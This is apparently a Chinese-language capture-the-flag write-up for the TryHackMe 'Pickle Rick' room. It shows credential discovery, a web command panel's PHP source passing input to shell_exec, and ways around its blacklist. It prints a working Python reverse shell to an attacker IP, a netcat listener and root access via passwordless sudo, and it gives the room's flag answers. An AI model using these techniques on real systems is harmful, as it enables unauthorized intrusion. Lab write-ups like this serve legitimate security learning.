TryHackMe-打靶-Pickle Rick

访问->网址

F12查看源码

2023-04-08T11:45:49.png
记录下来注释信息,Username: R1ckRul3s可能用的上

直接开扫(扫描目录)

dirsearh -u http://xxxx
-------有用的信息-------------
[11:02:17] 200 -    2KB - /assets/
[11:02:17] 301 -  341B  - /assets  ->  http://10-10-220-36.p.thmlabs.com/assets/
[11:02:40] 200 -    1KB - /index.html
[11:02:45] 200 -  882B  - /login.php
[11:03:05] 200 -   17B  - /robots.txt

访问robots.txt,得到一串字符串,先保留着

Wubbalubbadubdub

访问login.php

使用R1ckRul3s和密码Wubbalubbadubdub登陆,Bingo!!!成功

跳转到portal.php界面

2023-04-08T11:46:37.png

是命令面板,哇酷哇酷!

试着执行ls

Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt

cat文件,被ban了==> Command disabled to make it hard for future **PICKLEEEE RICCCKKKK**.

我们不止这一种读取文件的方法,tac可以!

$ tac Sup3rS3cretPickl3Ingred.txt

mr. meeseek hair  //这就是第一题的答案

学到了一个方法:

while read line;do echo $line;done<Sup3rS3cretPickl3Ingred.txt

这是一个 Bash shell 中的命令,它从文件 "file.txt" 中逐行读取内容,并将每一行打印到屏幕上。

更具体地说,这个命令使用了 Bash shell 中的输入重定向操作符 "<",将文件 "file.txt" 的内容作为标准输入输入到一个 while 循环中。while 循环读取标准输入,每次读取一行,将其保存在变量 $line 中,并执行一个 echo 命令将这一行内容打印到屏幕上。这个循环会一直执行,直到读取完文件中的所有行。

还可以使用grep命令

$grep -R .

grep 是一种用于在文本文件中搜索指定模式的命令行工具。选项 -R 意味着递归地搜索目录树中的所有文件,而 "." 表示匹配所有内容,即在所有文件中搜索所有文本行。

因此,命令 "grep -R ." 将在当前目录及其子目录下递归搜索所有文件,并输出包含任意文本行的文件名和行内容。这相当于搜索整个目录树,查找任何包含文本内容的文件。

查看页面源码:

portal.php的源码

<?php
  function contains($str, array $arr)
  {
      foreach($arr as $a) {
          if (stripos($str,$a) !== false) return true;
      }
      return false;
  }
  // Cant use cat
  $cmds = array("cat", "head", "more", "tail", "nano", "vim", "vi");
  if(isset($_POST["command"])) {
    if(contains($_POST["command"], $cmds)) {
      echo "</br><p><u>Command disabled</u> to make it hard for future <b>PICKLEEEE RICCCKKKK</b>.</p><img src='assets/fail.gif'>";
  } else {
      $output = shell_exec($_POST["command"]);
      echo "</br><pre>$output</pre>";
    }
  }
?>

简单的代码审计(除了知道被禁了什么,也没啥作用了)

反弹shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.68.63",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

在攻击机中监听

$ nc -lvnp 9999

反弹成功
反弹
加固一下shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

现在是不受约束的了,可以cat等操作

/home/rick分析第二题的答案

2023-04-08T11:50:17.png
查看一下权限sudo -l

-l显示出自己(执行 sudo 的使用者)的权限

查看sudo -l

没有密码,直接切换成root用户 sudo su

成功!

/root目录下发现第三问的答案文件,cat一下

$cat 3rd.txt
> fleeb juice
Last modification:April 8, 2023
请我喝瓶冰阔落吧